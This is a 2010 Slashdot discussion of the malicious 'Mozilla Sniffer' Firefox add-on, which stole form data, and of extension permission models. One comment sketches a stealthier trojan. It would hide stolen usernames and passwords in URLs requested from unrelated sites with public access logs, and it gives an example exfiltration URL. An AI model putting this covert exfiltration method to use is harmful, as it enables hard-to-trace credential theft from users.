Follow Slashdot stories on Twitter

 



Forgot your password?
typodupeerror
×
Firefox Mozilla Security

How the Mozilla Sniffer Backdoor Was Discovered 201

An anonymous reader writes "Mozilla pulled one of their Firefox add-ons earlier this week for containing a backdoor which stole passwords from its users. Netcraft has taken a closer look at how the rogue extension worked, and how it was discovered by chance rather than through any code review process. Mozilla are working on a new security model to stop this kind of backdoor happening again."
This discussion has been archived. No new comments can be posted.

How the Mozilla Sniffer Backdoor Was Discovered

Comments Filter:
  • BlueHost (Score:5, Interesting)

    by bsDaemon ( 87307 ) on Thursday July 15, 2010 @09:20AM (#32912340)

    Looks like the stolen data was being sent to a hacked BlueHost account. Figures.

  • Advertised purpose? (Score:2, Interesting)

    by Anonymous Coward

    What was the addon supposed to do?

    • by Zerth ( 26112 )

      Security penetration testing. Isn't that just alanis.

      I'm thinking it wasn't backdoored, they just pointed it the wrong way around.

      • by Coopjust ( 872796 ) on Thursday July 15, 2010 @09:54AM (#32912718)
        It was a modified version of Tamper Data that the author alleged "many problems have been solved in this version".

        In addition to modifying several existing files, the author added a file called tamperPost.js that very deliberately sends every form submission to a remote server. You can see some of the code of this on the Netcraft article in the summary (or or a direct link to the image [netcraft.com])

        When you see the image, you can see that it was obviously a deliberate attempt to steal credentials.
      • Isn't that just alanis.

        That's probably the most obscure musical reference I've ever seen and actually picked up on.

        Bravo sir.

  • Informative article (Score:4, Informative)

    by Cathoderoytube ( 1088737 ) on Thursday July 15, 2010 @09:30AM (#32912456)
    Good job not actually telling the name of the offending plugin in the article blurb there. 'A new severe bug in mozilla is allowing hooligans to steal your passwords. But we won't tell you which one until after the break!'
    • by elrous0 ( 869638 ) *
      Crazed gunman shooting up local mall...We'll tell you where after these messages for our sponsors.
    • by renrutal ( 872592 ) <renrutal@gmail.com> on Thursday July 15, 2010 @09:37AM (#32912540)
      From TFA:

      An add-on called “Mozilla Sniffer” was uploaded on June 6th to addons.mozilla.org. It was discovered that this add-on contains code that intercepts login data submitted to any website, and sends this data to a remote location. Upon discovery on July 12th, the add-on was disabled and added to the blocklist, which will prompt the add-on to be uninstalled for all current users.

      • Re: (Score:3, Insightful)

        by cdrudge ( 68377 )

        Would it have been so hard to have written "Mozilla pulled one of their Firefox add-ons, Mozilla Sniffer, earlier this week..." in the summary though.? Most of the people here have a hard enough time reading the summary, let alone the actual article linked to.

        • Click The Fine Linky. Hell, it's Netcraft, so it's probably good reading anyway.

          Oh, right, /. Where "tl;dr" is a way of life.

      • Re: (Score:3, Funny)

        “Mozilla Sniffer”

        Seriously?

        With the evil and nefarious scheme of stealing login info, this was their best attempt at hiding the true nature of the add-on?

        • by stephanruby ( 542433 ) on Thursday July 15, 2010 @10:41AM (#32913578)
          It was portraying itself as a security extension. If you think about it, that makes sense. Most anti-virus packages give you so many false positives flagging all the legitimate network tools, security tools, debugging tools, etc, that you're installing on your machine. You tend to disregard those warnings yourself when you know you're installing a security tool.
    • Re: (Score:3, Informative)

      by stephanruby ( 542433 )
      That may because telling you the name was only half of the issue. The name of the plugin was 'Mozilla Sniffer', but the real name you should hunt down is 'Tamper Data' to make sure you get rid of this thing (not that the makers of the popular 'Tamper Data' extension did anything wrong, it was just that 'Mozilla Sniffer' was disguising itself as 'Tamper Data' by using its uuid and inserting the malicious part of its code into the 'Tamper Data' folder).
  • by FuckingNickName ( 1362625 ) on Thursday July 15, 2010 @09:31AM (#32912464) Journal

    Do you mean to say that, when I install a Firefox add-on, Firefox won't give a list of requested privileges? Why has it taken 30 years for people who think in Unix security terms to not catch up to the VMS "fine-grained privileges to executables for users" security model?

    The whole regular user / root thing is awful. Microsoft is still doing it wrong because, while the NT kernel may approach the right idea, it builds atop it a mess of get-out-of-jail-free paths.

    It's not impossible.

    (1) By default, allow nothing;

    (2) Never allow everything - require software to specify exactly what it needs;

    (3) Classify permissions so the user is alerted more violently for more risky permissions - this may depend on the circumstances (e.g. a browser add-on usually shouldn't be asking for the same sort of privileges as backup software);

    (4) Software which needs an unusually privileged environment may benefit from auditing and signing, but never make this compulsory because this pisses off everyone;

    (5) But, by default, refuse in such circumstances and indicate why. The user needs to make a conscious effort to override a reasonable set of auto-refusal defaults;

    (6) Distinguish explicitly between once, occasional, time-limited and forever permissions. To take a particularly insidious example: iPhones ask if you want to give permission for your app to read your GPS location. This isn't permission for the next 15 minuts or day; it's permission forever. That is wrong. Looked at from the other end, don't do a Vista and ask every time. This is worse than not asking at all.

    More thoughts, guise?

    • That's in some respects similar to what Google does with Android. While they don't allow you to choose, they did set up the virtual machine to tell you what the app was able to do so that you could get a quick yea or nay on it. And not auto updating if the capabilities changed.
    • This is part of the reason to switch to the new Jetpack [mozilla.org] extension API from the old JavaScript code soup extension model.

      From the Jetpack FAQ [mozillalabs.com]:

      The Jetpack SDK lets you write add-ons that run in Firefox, Firefox Mobile, and as stand-alone applications using only the familiar technologies of the Web (HTML, Javascript, and CSS). Your add-ons will be faster to code and debug, easier to maintain, and more stable due to the extensible code library and the instant save-refresh development cycle. Your add-ons will al

    • by fuzzyfuzzyfungus ( 1223518 ) on Thursday July 15, 2010 @10:00AM (#32912806) Journal
      I think the basic problem is that the nature of the browser makes it pretty difficult to create permission sets that usefully control behavior.

      In this case, for instance, the extension was explicitly stated to be(and, as I understand it, was) an extension for examining and modifying HTTP/HTTPS headers, including stuff like GET requests, and the like. Because it was malicious, it was, in addition to whatever modifications the user was making, also issuing a separate little request of its own, with the contents of form fields, to an IP controlled by the author.

      You could, on a permissions basis, do things like segregate "extensions that modify browser chrome and only browser chrome" and prevent them from modifying pages at all, and you certainly can(and should) draw a line between "extensions that muck about with pages" and "Extensions that do stuff to the local filesystem"; but given that most of the useful extensions tend to muck around with webpages themselves, that introduces a very difficult security problem.

      With conventional permissions setups, you are applying permissions to a set of objects(usually files; but can also be database values, APIs, etc.) that you created and thus know the sensitivity of. A webpage, though, is a collection of objects that some third party created. Unless you have some very clever ideas about how to parse a webpage and automatically categorize the "sensitivity" of various parts of it, it is virtually impossible to meaningfully assign a permissions structure to it. An extension rewrites a script on a webpage: is it making the user more secure(by preventing doubleclick from learning something)? is it making the user less secure(by diverting information to a malicious host)?

      Fine grained permissions are a good thing; but you really can't create a useful permissions system(no matter how well designed and granular it may be), if you have no useful way of knowing how valuable the various resources to which you are allowing/denying/conditionally allowing access are. Since web browsers do most of their useful work on masses of objects provided by third parties(currently without any sort of value metadata, and even if there were an adopted standard for providing such, 3rd party value judgments still wouldn't be at all trustworthy.) it is a really hard problem to build a permissions model that is actually useful rather than merely strict.
      • Why isn't it possible?

        It is possible to define such a thing. Quick example (off the top of my head):

        Permission to modify headers - which headers
        Permission to send request - originating IP, domain, other domain
        Permission to modify web page - content, meta-content, scripts
        Permission to access local store - read/write, and how much
        Permission to use ports - port, read/write, and how much
        Permission to execute local programs - which ones
        Permission to modify local GUI - window, menu, status, button-bar

        Default: NON

        • Re: (Score:3, Interesting)

          Oh, it's eminently possible, from the architectural perspective of assigning ACLS and default-denies to all kinds of things(heck, you could assign ACLs to every DOM element of every page you load, per-domain control over all kinds of things and so forth.) It might be a chore technologically; but that part is entirely doable.

          What I'm saying is that, because it is extremely difficult to know what elements of an arbitrary 3rd party webpage are sensitive, and what elements aren't, attempting to apply a meani
    • by Karellen ( 104380 ) on Thursday July 15, 2010 @10:27AM (#32913314) Homepage

      I have a feeling that the Mozilla guys don't think in Unix security terms. Mozilla/Firefox is targetted more heavily towards Windows than Linux, and it shows in a lot of places that a lot of the developers think that way too.

      e.g. The use/implementation of "profiles", which are a work-around to the problem of running on a system that does not support multiple user accounts (well), or where it is expected that multiple users use the same user account. Last I used Mozilla and Firefox on Windows, these were still pretty prominent. They're also included in Unix-based builds, where they're mostly pointless, instead of being IFDEFed out by default on those platforms.

      See also the automatic updater. This is required on Windows, which does not have a centralised update system for 3rd party apps, and assumes each user will install their own copy of the software, or will have write privs to system software locations, or will have the Administrator password. It's redundant and useless on most Unices/Linux distros, but the code is still included by default.

      It also prefers to bundle its own copies of 3rd party libraries, common practice on Windows where dependency handling doesn't exist, and 3rd parties generally do not bother to try to maintain backwards ABI compatibility between DLLs. Again this is contrary to the Unix way of doing things, where dependencies are well defined, and library authors take pains to ensure backwards-compatible ABIs. But still Mozilla software ships private copies of 3rd party libraries by default on Unix.

      Mozilla software appears to be primarily written for Windows by Windows-based developers. Yes, it does work on Unix/Linux systems, but that's not how the developers think, and it shows.

      • by tlhIngan ( 30335 )

        e.g. The use/implementation of "profiles", which are a work-around to the problem of running on a system that does not support multiple user accounts (well), or where it is expected that multiple users use the same user account. Last I used Mozilla and Firefox on Windows, these were still pretty prominent. They're also included in Unix-based builds, where they're mostly pointless, instead of being IFDEFed out by default on those platforms.

        Profiles are incredibly useful on any platform. I have three profiles

        • Sure I can make new users,

          Or, you could just create ~/.mozilla-standard/, ~/.mozilla-ebay/ and ~/.mozilla-testing/, and point a ~/.mozilla symlink at whichever profile you want to use, like you can do for ... any other program at all. Again making the "profiles" feature completely redundant on Unix-like systems.

          if your distro includes an older version or is slow at providing updates or just doesn't provide it at all,

          If your distro is like this with security updates for any package, not just Firefox, you sho

      • running on a system that does not support multiple user accounts (well)

        1996 called. They want their anti-Microsoft rant back. This hasn't been true since NT 3.5.1 was released. The NT series of the Windows operating system has always supported multiple users very well (I would say better than *nix-like systems because of the more robust ACL model). End-user applications, on the other hand, have in the past not supported multiple users well (e.g. sticking configuration in %WINDIR% or HKEY_LOCAL_MACHINE instead of per-user locations) .

        • Sorry, I didn't mean to imply that I thought Windows doesn't currently support mulitple users well. Rather, that when Mozilla was first developed, the lack of good multi-user support in the versions of Windows in wide use at that time was the reason why profiles were initially developed.

    • Comment removed based on user account deletion
  • by Coopjust ( 872796 ) on Thursday July 15, 2010 @09:47AM (#32912640)
    The addon was experimental, and whenever you try to install an experimental addon you have to check a box acknowledging it's experimental before the install button works, and it's tagged with a scary warning that it could blow up your computer or compromise the security of Firefox due to the lack of code review.

    Not only that, but the author couldn't even use proper English in the addon description:

    View and modify HTTP/HTTPS headers it's base on tamper data but many problems have been solved in this version u can check it out.

    Given that, I hate to say that "people had it coming", but I figure people had ample warning that they were trying something that could be malicious.

  • by DroppedAtBirth ( 776511 ) on Thursday July 15, 2010 @10:34AM (#32913462) Homepage
    The addon was called "Mozilla Sniffer", and people still installed it? I would understand if this was some functionallity hidden in a valid sounding addon but its called "Mozilla Sniffer". User FAIL.
    • It could have been called "Steal all your passwords and send them to the Russian Mafia" and still some people would have installed it.

    • I have a bold statement for you:
      The evil one here is the Mozilla team. For removing that thing.
      It is obvious that this this was just natural selection at work. Hurting everyone who is so dumb that he can’t really be called a human anymore.
      Just like the lion kills the zebra that fails at being a zebra by being slow and dumb as hell. ;)
      Meanwhile keeping the whole herd healthy.

      We humans are zebras without lions. We constantly remove all lion-like things from our lives.
      And then we complain that the Idiocr

  • by Chapter80 ( 926879 ) on Thursday July 15, 2010 @11:47AM (#32914522)
    When writing Trojans like this, there are several considerations that this author failed on.

    1) Obscuring the code, so that it lasts longer, even upon scrutiny of the source.
    2) Obscuring the password delivery mechanism to reduce the likelihood of detection of the code execution.
    3) Obscure the password retrieval, to reduce the likelihood that the perpetrator would be caught, even if the authorities discover the code.

    Much has been written about item 1, obscuring code. But I haven't seen much research describing items 2 or 3.
    If I were writing the code, I would integrate the password theft and remote delivery into the main purpose of the code. For instance, say you wrote a plug-in whose function was to report to the user some information retrieved from Google and other sites. e.g. "This plug-in helps with Search Engine Optimization, by reporting potential keywords that can be added to the web page to increase results". With that sort of purpose, hits to Google and other sites wouldn't be suspected.

    Some of my hits to Google would be to locate an open log file, with a Google Query like this query: "get / http/1.1" 200 mozilla filetype:log [google.com]

    Once I found a web server with a log file that was openly being displayed on the web, I'd pass the stolen information (stolen user name, stolen password, and site that this information can be used on) in the form of a URL, possibly encoding the payload information (I don't encode it below, for clarity).

    Then my rouge program would request a few more pages from other sites that have open log files, just to obscure my activities, specifically requesting the log file page itself (and disposing of the results). I'll explain why this step is important later...

    Example: Using my Google query above, I can see that bullyentertainment.com has its logfile exposed (sorry, bullyentertainment, you're just the first one on my list of hundreds of thousands of open logfiles). That means that my trojan horse can request a page on bullyentertainment.com, (like www.bullyentertainment.com/stolen_info?user=myuser&pwd=hunter2&site=gmail.com [bullyentertainment.com] it will log my hit into that file - logging the stolen user name, password, and site information into a remote innocent bystander server. If my rouge program requests a page on bullyentertainment.com with some information encoded in the URL, I can effectively transfer the secret stolen information from the infected PC to an innocent bystander (bullyentertainment.com).

    Then later, back at secret spy headquarters, I can use the same Google Query to locate log files that have my secret information in them, like www.bullyentertainment.com/logs/access.log [bullyentertainment.com] which was a log file shown by my Google Query. I can follow the same pattern as the infected PC - first hit a page passing some URL containing secret information, and then retrieve the log file - so my activities ALSO look like an infected PC. But by retrieving the log file, I have retrieved all of the stolen passwords.

    This technique is a way to pass stolen information back to the hacker without detection, by going through an intermediary. Because spy headquarters uses the same procedure as a hacked PC, it cannot easily be detected as the destination of the information. Use of proxies can further hinder attempts to catch the hacker. In a real hack, I'd encode the secret information, so that only I was able to easily decode it. But you get the idea.

    PS If you test the above links, no harm, but your IP address will be logged (just as it is with any click), but it will be visible to other users on an exposed log file. No big deal, but I thought I'd mention it.
    • And then, when you are in your headquarters, recovering the information from Google, your search will be recorded and later indexed by 'internet cops' or whatever.

      Make sure you don't do this from your headquarters directly.

      • I think you missed the point that at headquarters you are doing the same actions that a compromised PC would be doing.

        That's the cover. Sure, your actions would be logged, but so would the hundreds of thousands of compromised PCs. Your activity would be obscured through sheer quantity of people doing the same actions.

        • you think your activities will look the same as activities of infected PCs, but they won't. Something will stand out and you'll get caught, it's better not to do it from your own PC.

  • An add-on called "Mozilla Sniffer" was uploaded on June 6th to addons.mozilla.org.

    That’s like uploading a add-on called “Windows Virus”. Who the hell would install that?
    I mean even Joe DontKnowShit would think twice before installing something that reminds him of a TLA agent or spy trying to get a look at his privates.

  • by Smallpond ( 221300 ) on Thursday July 15, 2010 @04:45PM (#32919190) Homepage Journal

    jwhois 74.220.219.77
    [Querying whois.arin.net]
    [whois.arin.net]

    OrgName: Bluehost Inc.
    OrgID: BLUEH-2
    Address: 1958 South 950 East
    City: Provo
    StateProv: UT
    PostalCode: 84606
    Country: US

    So has law enforcement been notified?

"What man has done, man can aspire to do." -- Jerry Pournelle, about space flight

Working...